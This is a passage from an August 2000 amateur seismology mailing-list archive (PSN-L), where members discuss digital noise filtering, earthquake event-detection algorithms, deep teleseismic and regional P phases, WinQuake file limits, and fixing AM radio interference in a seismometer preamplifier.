LF noise > > level produces peaks that average around 20 or so from a 12 bit A-D > > converter. > > Larry, > One thing not discussed often on the list is digital noise filtering. If > you have some programming experience, many routines for this type of filtering > are available for free (especially in fortran). If you see a time span in > your seismogram that you think might be hiding an event, you can try filtering > that section of data. The simplest and most encountered type of noise filter > is the Weiner filter. It uses the mathematical idea that the noise and the > untainted signal are not correlated. The power spectrum of the noise and the > untainted signal can often be easily estimated from the power spectrum > (modulus squared frequency spectrum) of a digital record. Knowledge of this > then leads to the construction of the filter, which when applied to the data > can often have amazing results. If you or anyone else wants more info on > this, let me know and I can post some pdf files describing the numerical > routines and theory. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: "Larry Conklin" lconklin@............ Date: Thu, 3 Aug 2000 10:54:57 -0400 Barry Lotz wrote: > I also have been using digital filtering with one of my computers with an smt-8 > style vertical. I tried IIR filtering but ran into numerical stability problems. I > found better luck with multipole FIR filtering. I made a program in Basic to > create the filter coefficients for a desired shape and then have an option in my > data acquisition program to use the filter file created. It works quite well on a > 386. What I like is you can create various filter responses in different frequency > ranges and if this doesn't work for the noise you just change the coeficients not > the hardware. I am trying to have the program create it's own filter based on the > long term background noise. Currently this consideration is included in my trigger > routine. > Regards > Barry This is exactly the kind of thing I have been thinking about (except for the automated filter tuning). I would be very interested in seeing your code if you would be willing to post it or send me a copy. I have a pretty good background in analog active filter design but I know virtually nothing about digital filters. Larry Conklin __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: John Hernlund hernlund@....... Date: Thu, 03 Aug 2000 16:11:44 -0700 (MST) On Thu, 3 Aug 2000, Larry Conklin wrote: > > I also have been using digital filtering with one of my computers with an > smt-8 > style vertical. I tried IIR filtering but ran into numerical > stability problems. I > found better luck with multipole FIR filtering. I > made a program in Basic to > create the filter coefficients for a desired > shape and then have an option in my > data acquisition program to use the > filter file created. It works quite well on a > 386. What I like is you can > create various filter responses in different frequency > ranges and if this > doesn't work for the noise you just change the coeficients not > the > hardware. I am trying to have the program create it's own filter based on > the > long term background noise. Currently this consideration is included > in my trigger > routine. > Regards > Barry > > This is exactly the kind of thing I have been thinking about (except for the > automated filter tuning). I would be very interested in seeing your code if > you would be willing to post it or send me a copy. I have a pretty good > background in analog active filter design but I know virtually nothing about > digital filters. Time domain filters are really just digital convolutions. A filter in the frequency domain is simply performed by taking some filter function and multiplying it by your FFT. The inverted FFT then gives you the filtered time series (seismogram). This operation is actually the same as a direct convolution of a time series (i.e. the convolution theorem of Fourier Analysis). However, because of the digital nature of the problem, they do not allow you to easily benefit from a lot of the techniques such as the use of power spectrums without quite a lot of work. Non-recursive FIR filters (finite impulse response) convolve your incoming data with some finite time series and produces a new time series. Recursive IIR filters (infinite impulse response) do the same thing, but they also add a convolution of the previous output values from the filter; i.e. they use previous original and filtered data to perform the resulting data set. The instability in IIR filters happens when the dependence on the previous output values becomes too strong for a set of data, which produces incredibly high filtering for given frequencies. One tough thing about using standard digital time domain filters is that you may not want each seismogram filtered in the same manner, and after performing some of these complicated convolutions it can be hard to recover the original data. That is why it is generally easier to mess around with data after the fact in the frequency domain. It is truly amazing what some of these frequency filtering methods can do for a noisy data set. For more information on this topic, see sections 12.5 through 12.10 in the Nummerical Recipes book link that I posted previously. ****************************************************************************** John Hernlund Department of Geological Sciences Arizona State University E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: wizard@......... (Mike Duck) Date: Thu, 3 Aug 2000 18:46:42 -0700 I hope this isn't a repeat of old information. Came in a quite late in the thread. You might try www.dspguide.com for a downloadable copy of: The Scientist and Engineer's Guide to Digital Signal Processing. A great tutorial. > > > I also have been using digital filtering with one of my computers with an > > smt-8 > style vertical. > > **************************************************************************** ** > John Hernlund > Department of Geological Sciences > Arizona State University > E-mail: hernlund@....... > WWW: http://www.public.asu.edu/~hernlund/ . __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: barry lotz gbl@....... Date: Thu, 03 Aug 2000 21:42:13 -0700 Larry and John Larry, I don't mind sending you the code. However when I write or modify code the last thing in the process is documentation and user friendlyness :-} . I somewhat agree with John wrt modifying data. I use the filtered data in my triggering routine but when the trigger has been set I record it all. On another line of thinking, wouldn't one have similar trouble recovering data after exotic analog filtering? Long ago and far away I was wanting to place a remote sensor in a non functioning gold mine (with permission) near my house or in a remote site in a national forest. I therefore was concerned about storage and power. As a consequence I have been working on an elaborate trigger routine to only save events I was able to catch, (kind of like fishing I guess). With available data cards that store several megs of data, and the possibility of modems and maybe the internet, working about storage space and trigger routines maybe academic now. Regards Barry Larry Conklin wrote: > This is exactly the kind of thing I have been thinking about (except for the > automated filter tuning). I would be very interested in seeing your code if > you would be willing to post it or send me a copy. I have a pretty good > background in analog active filter design but I know virtually nothing about > digital filters. > > Larry Conklin > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Teleseismic surface waves From: barry lotz gbl@....... Date: Thu, 03 Aug 2000 21:52:09 -0700 It was very interesting to get two teleseismic events so close together. I'm speaking of the Fiji and Kermadec events of 7/31. What puzzled me was the lack of surface waves for the first (Fiji) event and the presents of surface waves for the second (Kermadec). They were of similar magnitude, depth and distance from me. Any thoughts? Barry __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Teleseismic surface waves From: John Hernlund hernlund@....... Date: Thu, 03 Aug 2000 21:56:52 -0700 (MST) On Thu, 3 Aug 2000, barry lotz wrote: > It was very interesting to get two teleseismic events so close together. > I'm speaking of the Fiji and Kermadec events of 7/31. What puzzled me > was the lack of surface waves for the first (Fiji) event and the > presents of surface waves for the second (Kermadec). They were of > similar magnitude, depth and distance from me. Any thoughts? > Barry Sounds like the surface waves of one event came in on top of the other? Do you have a record of the two events some where to view? ****************************************************************************** John Hernlund Department of Geological Sciences Arizona State University E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Teleseismic surface waves From: barry lotz gbl@....... Date: Fri, 04 Aug 2000 06:28:17 -0700 John I'll upload it to Larry's event file, I've been lacking in uploading lately. I reviewed it with winquake and the time location of the surface waves occurs a little before the P wave. ???? Regards Barry John Hernlund wrote: > Sounds like the surface waves of one event came in on top of the other? Do > you have a record of the two events some where to view? > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: deep teleseisms From: sean@........... Date: Fri, 4 Aug 2000 12:40:54 -0500 (CDT) Barry, I don't have the NEIS data for 7/31, but the events in the Tonga- Fiji arc are very deep, about the deepest in the world around 550 km. There was an aftershock this AM at 559 km. As the energy from a deep event moves to the surface it is greatly attenuated, and spread over a large area, so minimal surface waves are generated. Kermadec Island region events are usually around 200 km deep. Of course, the other influence on how well surface waves are generated is the source function, or just how the earth moves at the fault. The mechanism of the events at Tonga-Fiji is almost vertical. Tonga-Fiji events are great for checking the polarity of vertical sensors in a large network, since the propagation to a wide area on the surface is quite uniform. We have used such events shortly after installing networks to check for wiring reversals. The other place for deep events, where the descending slab of the plate remains solid (doesn't melt) to great depths, usually because of its more rapid motion at the plate boundary convergence, is under Ecuador. Years ago there was an 8+ event under Quito that was felt from Panama to Argentina, but did no damage because the energy was so spread out. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: "Larry Conklin" lconklin@............ Date: Sat, 5 Aug 2000 14:00:34 -0400 Barry Lotz wrote: > Larry and John > Larry, I don't mind sending you the code. However when I write or modify > code the last thing in the process is documentation and user friendlyness :-} . Please send me a copy. I'm a retired software engineer and believe me, I'm used to having no documentation for "legacy" code. Besides, I like puzzles. > I somewhat agree with John wrt modifying data. I use the filtered data in my > triggering routine but when the trigger has been set I record it all. On another > line of thinking, wouldn't one have similar trouble recovering data after exotic > analog filtering? Point well taken. I don't think you should ever get rid of your original "raw" data. I have'nt really entertained the idea of analog filetering of the data, but the idea of using some sort of digital filter on the data coming off the A-D seems like a natural. > Long ago and far away I was wanting to place a remote sensor in a non > functioning gold mine (with permission) near my house or in a remote site in a > national forest. I therefore was concerned about storage and power. As a > consequence I have been working on an elaborate trigger routine to only save > events I was able to catch, (kind of like fishing I guess). With available data > cards that store several megs of data, and the possibility of modems and maybe > the internet, working about storage space and trigger routines maybe academic > now. > Half the fun for me has been developing my own data capture software. My original concept was to trigger on events and only save the data that encompasses the event. It's harder than I'd expected to distinguish a real event from random stuff (with an algorithm). Interesting, since about half of the events I've recorded were caught because I happened to be watching the data come in and it was immediately obvious that something interesting was happening. It ain't easy to come up with an algorithm that works as well as a "meathead" processor. I'm not yet willing to go to a "record everything and look later" system, but it makes a lof of sense to go that way Larry __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: event detection From: sean@........... Date: Sat, 5 Aug 2000 14:45:21 -0500 (CDT) Larry, I have been trying to finness event detectors for years, and of course have never found one that can sort out earth-related from man-made events, only "something" from "not something". The most common is the "LTA-STA" process that can be implemented either by analog filters or digital means. Basically, a short increase of short period average energy is detected above a running long term average. The STA is long enough to avoid spikes, like from radio telemetry. Some digital detectors manage to use running FFTs before determining the mean amplitudes. The detector parameters must be "tuned" to the local noise situation, ideally not missing any events nor filling the event file with junk. Of course, local and teleseismic detectors need different parameters. I don't know where some code examples could be found, but I would snoop around some major university seismo sites. And of course, all the methods involve a pre-event memory generally long enough to catch the P-wave of a local event that triggers on the S-wave. In the '70s, I used multi-channel analog tape recorders to record the multiplexed FM telemetry carriers on a tape loop to provide the delay; the loop output was written to the event tape (still telemetry carriers) when the LTA-STA detector triggered. The tape loop had to be replaced daily, and the splice in it often made glitches in the data. Obviously digital delays are easier to do, as long as time tagging is preserved in the delayed or pre-event data. The most competent detector I am familiar with is the one used in the IRIS broadband stations. It was developed by Albuquerque, and is called the MHH detector, or Murdock-Hutt-Halbert. It is quite elaborate, and is set up or "built" by 11 parameters specified in the configuration file for the station, with separate detectors for data of different sample rates (derived by decimation and FIR filters from a single instrument). Each MHH detector selects a particular IIR filter at its input. It has proven quite robust in not missing events, and reports detection quality info with each detection along with the period and amplitude of the event and the background average counts. I believe that the code is available in C, and might be found on the ASL web site (aslwww.cr.usgs.gov) . The IRIS stations run OS-9 in 68020/30 multitasking processors, so I don't know if it is PC compatible or if a stand-alone version is available. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: RE. PERIOD From: Larry Cochrane cochrane@.............. Date: Sat, 05 Aug 2000 13:56:29 -0700 WinQuake can be used to check the period. What you need to do is remove the damping and record some data after exciting the boom. You then load the "event" file into WinQuake and do an FFT. The FFT plot should have a peak at the period of your sensor. -Larry Cochrane Redwood City, PSN At 07:45 PM 8/2/00 -0700, you wrote: >Is there a simple way to determine the period of a Lehman Seismograph in >Winquake? If not can any other software be utilized for this purpose? >radiotel@........ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: event detection From: "Larry Conklin" lconklin@............ Date: Sat, 5 Aug 2000 18:24:43 -0400 Sean, Thanks for the input. I haven't tried anything very fancy to date. The scheme I'm using at the moment is reminiscent of the LTA-STA idea. I keep a running "LTA" with a shorter "STA" centered in the LTA window, and trigger on a specified number of samples that exceed a defined threshold value. I've played back the few event files that I have from my system along with some no-event files and it does an OK job of distinguishing between them. BUT several of my event files do not include the P-wave onset so I'm a long way from claiming any sort of victory. In the mean time, I'm willing to tolerate a high false alarm rate. If the false alarm rate is high enough, you wind up with a round the clock record (chuckle). My data collector does have some pre-detection memory, but it's only 5 minutes at the moment. Not long enough I've concluded. Disk space is cheap, missing the start of the show is disappointing. Larry ----- Original Message ----- From: To: Sent: Saturday, August 05, 2000 3:45 PM Subject: event detection > Larry, > > I have been trying to finness event detectors for years, and of course > have never found one that can sort out earth-related from man-made > events, only "something" from "not something". > > The most common is the "LTA-STA" process that can be implemented either > by analog filters or digital means. Basically, a short increase of short > period average energy is detected above a running long term average. > The STA is long enough to avoid spikes, like from radio telemetry. > Some digital detectors manage to use running FFTs before determining > the mean amplitudes. The detector parameters must be "tuned" to the > local noise situation, ideally not missing any events nor filling > the event file with junk. Of course, local and teleseismic detectors > need different parameters. I don't know where some code examples could > be found, but I would snoop around some major university seismo sites. > > And of course, all the methods involve a pre-event memory generally > long enough to catch the P-wave of a local event that triggers on the > S-wave. In the '70s, I used multi-channel analog tape recorders to > record the multiplexed FM telemetry carriers on a tape loop to provide > the delay; the loop output was written to the event tape (still telemetry > carriers) when the LTA-STA detector triggered. The tape loop had to be > replaced daily, and the splice in it often made glitches in the data. > Obviously digital delays are easier to do, as long as time tagging is > preserved in the delayed or pre-event data. > > The most competent detector I am familiar with is the one used in the > IRIS broadband stations. It was developed by Albuquerque, and is called > the MHH detector, or Murdock-Hutt-Halbert. It is quite elaborate, and > is set up or "built" by 11 parameters specified in the configuration file > for the station, with separate detectors for data of different sample > rates (derived by decimation and FIR filters from a single instrument). > Each MHH detector selects a particular IIR filter at its input. > It has proven quite robust in not missing events, and reports > detection quality info with each detection along with the period and > amplitude of the event and the background average counts. > > I believe that the code is available in C, and might be found > on the ASL web site (aslwww.cr.usgs.gov) . The IRIS stations run OS-9 > in 68020/30 multitasking processors, so I don't know if it is PC > compatible or if a stand-alone version is available. > > Regards, > Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: event detection From: barry lotz gbl@....... Date: Sun, 06 Aug 2000 08:00:26 -0700 Sean & Larry I have , with reasonable success been using a modified version of the routine by Tom Goforth & Eugene Herrin "Automatic Seismic Signal Detection Algorithm Based on the Walsh Transform" in BSSA vol. 71, no. 4, August 1981. I originally ran it with the Walsh Transform then changed to the FFT. It basically runs an overlapping frequency analysis then allows one to modify certain frequencies and then sums to spectrum. It compares this sum with a threshold value which is a function of the median sum. It also keeps a leapfrog set of three buffers of raw data in case the is a trigger. I like this routine because it considers frequency content not just amplitude. It is also can adjust for background noise variations. If one knows a particular frequency which is troublesome one can weight the FFT output before summing the spectrum. I have modified this somewhat by keeping a running average FFT and comparing the new FFT with the running average. Once a trigger has occured I keep recording data til the FFT falls below a certain level and therefore can account for short and long events.The routine works well on a 386. However I only run it at 4 hz and use it with the smt8 style sensor for teleseismic events. The only problem I have had to date is with wind. It seems to be of the right frequency and amplitude for the computer to think it is an event though the eye can tell the difference. Wind is not as symetrical as an event. Now I need to figure a way to represent this. Counting crosses alone doesn't seem to be totally effective though I do use it to prevent triggers due to major offsets during recording. Regards Barry __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Questions from a beginner From: barry lotz gbl@....... Date: Sun, 06 Aug 2000 08:09:40 -0700 Larry I also have a program by a company called Monarch (like the butterfly) which creates digital filters. This free version doesn't give one the output coefficients but does have nice graphs of the filter outputs for various user input parameters. I'll send you a copy of this also. It's their advertisement. Regards Barry __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: ebay item 401245459 Whaaat? From: BOB BARNS roybar@........ Date: Sun, 06 Aug 2000 15:20:15 -0400 Hi gang, Ebay item 401245459 (ends 8/14) is titled "Old Geology Seismograph 30's". The pics are so poor that I can't make head or tail of this. Is it a seismograph? What is it? How does it work? Bob Barns __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: filter on ebay From: BOB BARNS roybar@........ Date: Sun, 06 Aug 2000 15:34:10 -0400 Hi gang, ebay 401274238 is a Kron-Hite filter which may be of some use with a seismograph. Auction ends 8/11 Bob Barns __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: filter on ebay From: "John Tacinelli" John.Tacinelli@........ Date: Sun, 06 Aug 2000 16:02:56 -0500 Looks like the # on the krohn-hite is 401247238. There are actually 5 K-H = filters or oscillators on ebay. My question is, could this help me filter = out my local radio station that I'm picking up on my seismograph? If so, = how does one wire in a filter like this? where in the system does it go? = before the preamp? before the amplifier? after the amp but before the = serial box interface? =20 Any ideas on how one of these gets connected up? John Tacinelli Earth Science Instructor Rochester Community and Technical College __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: WinQuake question From: John Taber taber@............. Date: Mon, 7 Aug 2000 18:10:54 +1200 (NZST) Larry, I tried using WinQuake 2.6 to read a long file generated by SDR (299900 samples) and for some reason the file doesn't appear in the open window (the rest of the PSN files in the directory do). I'm able to read the file into Matlab using a matlab program Sam Toon wrote for reading PSN files, and it comes up with all the right header info so the file seems to be okay. Is there something I need to set in WinQuake to allow it to read long files? Thanks, John Taber __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Noise problems From: Bob Smith bobsmith5@........ Date: Mon, 07 Aug 2000 09:04:43 -0400 There have been a number of recent posts here regarding noise problems with a new computer. I am reminded of a problem years back with a trusty old 386SX system that had given me excellent service for a number of years. It was eventually replaced with a 486DX system in the pursuit of improved performance (to carry all the overhead of recent releases of WinDoze). The old 386 was then pressed into service in my amateur radio station to create a TCP/IP node and server system on the local amateur packet radio links. When I installed the packet radio modem card, I could not get it to work because it thought that there was a signal on the air all the time and, thus, would never switch to transmit mode. To make a long story short, I found that the +5V power in the old 386SX was covered with random noise like crud that was getting into the packet modem chip and creating false signals. A new orignal equipment power supply was purchased and installed, same problem! The problem was traced to lack of loading on the power supply that was created when most of the peripheral boards were removed and moved to the new 486DX system. The solution was to install a couple of used peripheral cards in spare slots untill sufficient load was created to stabilize the power supply. Therefore, I strongly recommend that the gentleman with the noisy computer get a good scope on the power supply lines and look for excess noise. Expect to see some residual switching noise, but anything excessive such as >100 mv P-P should be suspect. Good luck, Bob Smith -- --------- Avoid computer viruses -- Practice safe hex ------------- * * Specializing in small, cost effective embedded control systems * * Robert L. (Bob) Smith Smith Machine Works, Inc. internet bobsmith5@.............. Lumlay Road landline 804/745-1065 Richmond, Virginia 23236+1004 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: filter on ebay From: BOB BARNS roybar@........ Date: Mon, 07 Aug 2000 10:22:53 -0400 John, I use my filter (Rockland 1022F) between my pre-amp and Larry's A/D board. I set the low pass filter to a cut-off freq. of 0.1 Hz. I use both sections in series to get sharper cut-off. This very effectively eliminates the microseism signals which center at about 0.16Hz. This arrangeent is good for a long period seis such as a Lehman and teleseismic events. It will severerly limit response to near-by events. It is not clear from the ebay ad what the lower freq. limit is for that filter. You should email the seller before bidding to get the correct number. These audio filters should help reduce interference from the broadcast station but is by far the method of choice in handling that problem. Find an amateur radio operator (ham). We have to deal with RFI frequently. You might even contact the local ham club for advice. Bob Barns KB2IKC John Tacinelli wrote: > > Looks like the # on the krohn-hite is 401247238. There are actually 5 K-H filters or oscillators on ebay. My question is, c ould this help me filter out my local radio station that I'm picking up on my seismograph? If so, how does one wire in a filter like this? where in the system does it go? before the preamp? before the amplifier? after the amp but before the serial box interface? > > Any ideas on how one of these gets connected up? > > John Tacinelli > Earth Science Instructor > Rochester Community and Technical College > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Phases of events using Winquake From: RLLaney@....... Date: Mon, 7 Aug 2000 14:42:19 EDT Hello all: I have noticed that when P and S locations are calculated for events within a few hundred miles of my location (e.g., recent events in Quebec and Ohio) a Pb phase shows up that is 2 or 3 seconds ahead of the P wave arrival. I have checked the books I have on hand and cannot find mention of a Pb phase. It doesn't show for events that are thousands of miles away. Can someone fill me in on this? Thanks. Bob Laney Herndon, VA __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: WinQuake question From: Larry Cochrane cochrane@.............. Date: Mon, 07 Aug 2000 17:31:05 -0700 John, WinQuake currently as a limit of 250,000 data samples. This number is hard coded so it can't be changed. I'm thinking of upping this to 1 million samples on the next release. -Larry At 06:10 PM 8/7/00 +1200, you wrote: >Larry, > >I tried using WinQuake 2.6 to read a long file generated by SDR (299900 >samples) and for some reason the file doesn't appear in the open window >(the rest of the PSN files in the directory do). I'm able to read the >file into Matlab using a matlab program Sam Toon wrote for reading PSN >files, and it comes up with all the right header info so the file seems >to be okay. Is there something I need to set in WinQuake to allow it to >read long files? > >Thanks, > >John Taber __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: regional P phases From: sean@........... Date: Tue, 8 Aug 2000 13:29:57 -0500 (CDT) Bob, Regarding multiple P phases for near regional quakes: These are generally seen for "local" quakes recorded by high-gain regional networks for events within 100 to 200 km of the station. They are called Pn, Pg, and P*, and are the result of the P wave energy propagating along different horizontal layers from the hypocenter to the station. Pn is propagating below the Mohorovicic discontinuity at about 7.76 km/sec, and arrives first. Pg is described by Jeffreys as propagating in the "granitic" layer below the Conrad discontinuity at 6.5 km/sec, and P* is in the thin layer above it propagating at 5.6 km/sec. Rarely a phase Ps in the sedimentary layer is seen at 4.7 km/sec. There are comparable S-phases: Sn at 4.36 km/sec; Sg at 3.74 km/sec; and S* at 3.36 km/sec. These are generally difficult to observe because of the surface wave arrivals. At distances generally greater than about 200 km only Pn is seen, since the energy of the other phases is rapidly dispersed. This is the usual "P" that we work with. These phases should not be confused with the teleseismic phases of deep or distant quakes, like pP or PcP. A discontinuity is where there is an abrupt change in the velocity of seismic waves caused by a major change on the rock properties. The Mohorovicic discontinuity, or Moho, usually lies about 20 km deep, but is deeper under mountain chains, even old worn down ones like the Ozark uplift where it is 40 km deep, and shallower under oceans. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: update on radio interference From: "John Tacinelli" John.Tacinelli@........ Date: Tue, 08 Aug 2000 15:17:14 -0500 A little more progress has been made on my radio problem. I have = discovered that the radio tower is less than 2 miles from here. Also I = hooked up a small speaker to the amplifier and I can hear the radio = station on the seismograph. I tried unplugging the coil and I could still = hear it although it was much reduced. When the pre-amp was unplugged I = couldn't hear it at all. So it looks like the coil is acting as an = antenna for the pre-amp. The cable from pre-amp to amp may also be doing = so but to a lesser degree (it is shielded). I tried several other coils I = have around the lab and they all worked fine as antennae. So I doubt that = another coil would help. A different pre-amp might do it if I could get = one. Do your seismographs have pre-amps? Is there a diagram? I called the electronics company and they are working on it. They seemed = to doubt that shielding it would work since AM is long wavelength. The = guy at Wards is on vacation so I can't get any parts from him for a while. = =20 While I was listening to it, I made some observations. When I touched the = intrument the magnet would move and the radio signal would go out. I = guess the instrument signal overpowers the radio signal when it is moving. = Also, my touching the coil or preamp seemed to affect it too. With the = coil unplugged, I could hear better if I touched the pre-amp. However = with the coil plugged in touching it would often stop the signal. It = seemed very touchy. =20 Anyway, If this gives anyone some ideas, I would love to hear about it. John Tacinelli Earth Science Instructor Rochester Community and Technical College __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: update on radio interference From: twleiper@........ Date: Tue, 8 Aug 2000 16:24:19 -0400 On Tue, 08 Aug 2000 15:17:14 -0500 "John Tacinelli" writes: > A little more progress has been made on my radio problem. I have > discovered that the radio tower is less than 2 miles from here. > > Anyway, If this gives anyone some ideas, I would love to hear about > it. > Try hanging a 5000pf cap from your signal line to ground at the preamp input. A little bypassing should do the trick. Remember, with AM broadcast any semiconductor will act as a detector. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: re: RF interference From: sean@........... Date: Tue, 8 Aug 2000 18:26:33 -0500 (CDT) John, You asked about preamplifier schematics: We have been using a high gain preamp at our seismic stations for years in the presence of AM, FM, marine, and Ham transmissions from the same tower we are borrowing space on for our telemetry. We have never had a problem with RF interference from these sources. The amplifier has a relatively flat response from about 20 hz to 60 seconds, and can be extended to DC for long period instruments. The schematic is posted at: http://www.eas.slu.edu/People/STMorrissey/index.html ....stmmisc.html" PSN INFO ... SLU Seismic Network There are also some photos of the assembled amplifier. A preamplifier should neither rectify nor amplify an AM signal. Some have voltage limiting diodes across the input to protect the amplifier, and some OP-AMPS have these internally, which may be a problem. But I still doubt that it is an amplifier problem. The fact that the coil moves when you touch the frame seems to indicate that some rectification of the noise is occurring elsewhere, possibly in a bad ground connection, as I discussed before. Or one side of your signal from the coil is grounded to a ground loop. I can think of many possibilities to investigate. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: update on radio interference From: BOB BARNS roybar@........ Date: Tue, 08 Aug 2000 20:26:54 -0400 Hi gang, I agree that bypassing is well worth trying but I would go a lot farther than 5000pf. Certainly 0.1 microfarad would not hurt and 1 mic would very likely be OK. Hang a capacitor (to ground) on both the input and output of the amp. Bob Barns twleiper@........ wrote: > > On Tue, 08 Aug 2000 15:17:14 -0500 "John Tacinelli" > writes: > > A little more progress has been made on my radio problem. I have > > discovered that the radio tower is less than 2 miles from here. > > > > > > > Anyway, If this gives anyone some ideas, I would love to hear about > > it. > > > > Try hanging a 5000pf cap from your signal line to ground at the preamp > input. A little bypassing > should do the trick. Remember, with AM broadcast any semiconductor will > act as a detector. > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Fwd: 19 Things that took me 20 years to learn From: Seisguy@....... Date: Tue, 8 Aug 2000 22:41:48 EDT 19 Things that took me 20 years to learn 1.Never under any circumstances take a sleeping pill and a laxative on the same night. 2.If you had to identify, in one word, the reason why the human race has not achieved, and never will achieve, its full potential, that word would be "meetings". 3.There is a very fine line between "hobby" and "mental illness." 4.People who want to share their religious views with you almost never want you to share yours with them. 5.And when God, who created the entire universe with all of its glories, decides to deliver a message to humanity, He WILL NOT use, as His messenger, a person on cable TV with a bad hairstyle. 6.You should not confuse your career with your life. 7.No matter what happens, somebody will find a way to take it too seriously. 8.When trouble arises and things look bad, there is always one individual who perceives a solution and is willing to take command.Very often, that individual is crazy. 9.Nobody cares if you can't dance well. Just get up and dance. 10.Never lick a steak knife. 11.Take out the fortune before you eat the cookie. 12.The most powerful force in the universe is gossip. 13.You will never find anybody who can give you a clear and compelling reason why we observe daylight savings time. 14.You should never say anything to a woman that even remotely suggests that you think she's pregnant unless you can see an actual baby emerging from her at that moment. 15.There comes a time when you should stop expecting other people to make a big deal about your birthday. That time is age 11. 16.The one thing that unites all human beings, regardless of age, gender, religion, economic status or ethnic background, is that, deep down inside, we ALL believe that we are above average drivers. 17.The main accomplishment of almost all organized protests is to annoy people who are not in them. 18.A person who is nice to you, but rude to the waiter, is not a nice person. 19.Your friends love you anyway. ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com Subject: Re: update on radio interference From: twleiper@........ Date: Tue, 8 Aug 2000 23:13:50 -0400 On Tue, 08 Aug 2000 20:26:54 -0400 BOB BARNS writes: > Hi gang, > I agree that bypassing is well worth trying but I would go a lot > farther than 5000pf. Certainly 0.1 microfarad would not hurt and 1 > mic would very likely be OK. Hang a capacitor (to ground) on both the > input and output of the amp. > Bob Barns > My experience is with bypassing is from many years of cleaning up elevator rooms loaded with 2-way radio equipment, and often the inductive reactance of larger caps decreases their effectiveness. Often several 1000pf work better than the equivalent in a single cap. For VHF/UHF bypassing the usual was 470 - 1000pf on lower impedence circuits, and broadcast about 5000pf. In this case I would start with the 5000pf and see if there is any change at all. The ideal would be to have all the amps in an aluminum box and use feed-thru caps for all connections. That would absolutely work. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: WinQuake question From: John Taber taber@............. Date: Wed, 9 Aug 2000 16:12:26 +1200 (NZST) Larry, You wrote: >WinQuake currently as a limit of 250,000 data samples. This number is >hard coded so it can't be changed. I'm thinking of upping this to 1 >million samples on the next release. I could cut my file in half by converting to ascii, editing the file and then converting back to PSN format. I have your 1998 version of psn2text.c, but I don't have the conversion back to PSN. Do you (or anyone else) have such a program? We are in the process of calibrating our school seismographs, so we saved all our calibration runs in the same file and now we want to separate them and convert them to SAC format (which WinQuake does very nicely) and then use a program available at http://www.crustal.ucsb.edu/scec/pbic/ to calculate natural period, gain, and damping. Thanks, John __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: update on radio interference From: ChrisAtUpw@....... Date: Wed, 9 Aug 2000 15:27:43 EDT John.Tacinelli@........ writes: > A little more progress has been made on my radio problem. I have discovered > that the radio tower is less than 2 miles from here. OK. We know that 'good ole timers' KOLM on 1.52 MHz is supposed to radiate 10 KW. If the maximum field in V / m is E = (7.02 x sqrt(Power))/ d, where d is the distance in metres, assuming that the radiation is isotropic. 1 mile ~ 1.6 Km, so lets estimate d at 3000 m. This gives E = 0.23 V / m. If the aerials are designed to keep the radiation low, E could be twice this, but it still = high field problem = trouble. 1 Arrange the apparatus to be reasonably compact and reduce the cable lengths as convenient. 2 Connect the various 'boxes' and the frame with heavy 3/8" wide braided copper 'strapping', particularly to the input connection of the preamp. It is unlikely that either will remove the problems completely, but they should help and you may not be able to solve the problem without doing this. > Also I hooked up a > small speaker to the amplifier and I can hear the radio station on the > seismograph. I tried unplugging the coil and I could still hear it although > it was much reduced. When the pre-amp was unplugged I couldn't hear it at > all. So it looks like the coil is acting as an antenna for the pre-amp. The > cable from pre-amp to amp may also be doing so but to a lesser degree (it is > shielded). Great! The next thing to try is to disconnect the coil and it's cable and short out the input where it comes into the preamp and see what effect this has. Check that the 'low' side of the input connector is earthed at the input. If this doesn't effectively silence the output, you may have to put RF chokes on the power supply lines inside the preamp box. You may need to solder a thick copper wire between the input connector and the output earth return - even wide copper track on a PCB may not have a sufficiently low resistance. This is a common 'fix' in audio amplifiers. Also, connect up the input cable on it's own with the end shorted and move the end around in a circle. There may be a direction which gives ~zero pickup. If you get ~zero interference with the input shorted, an input 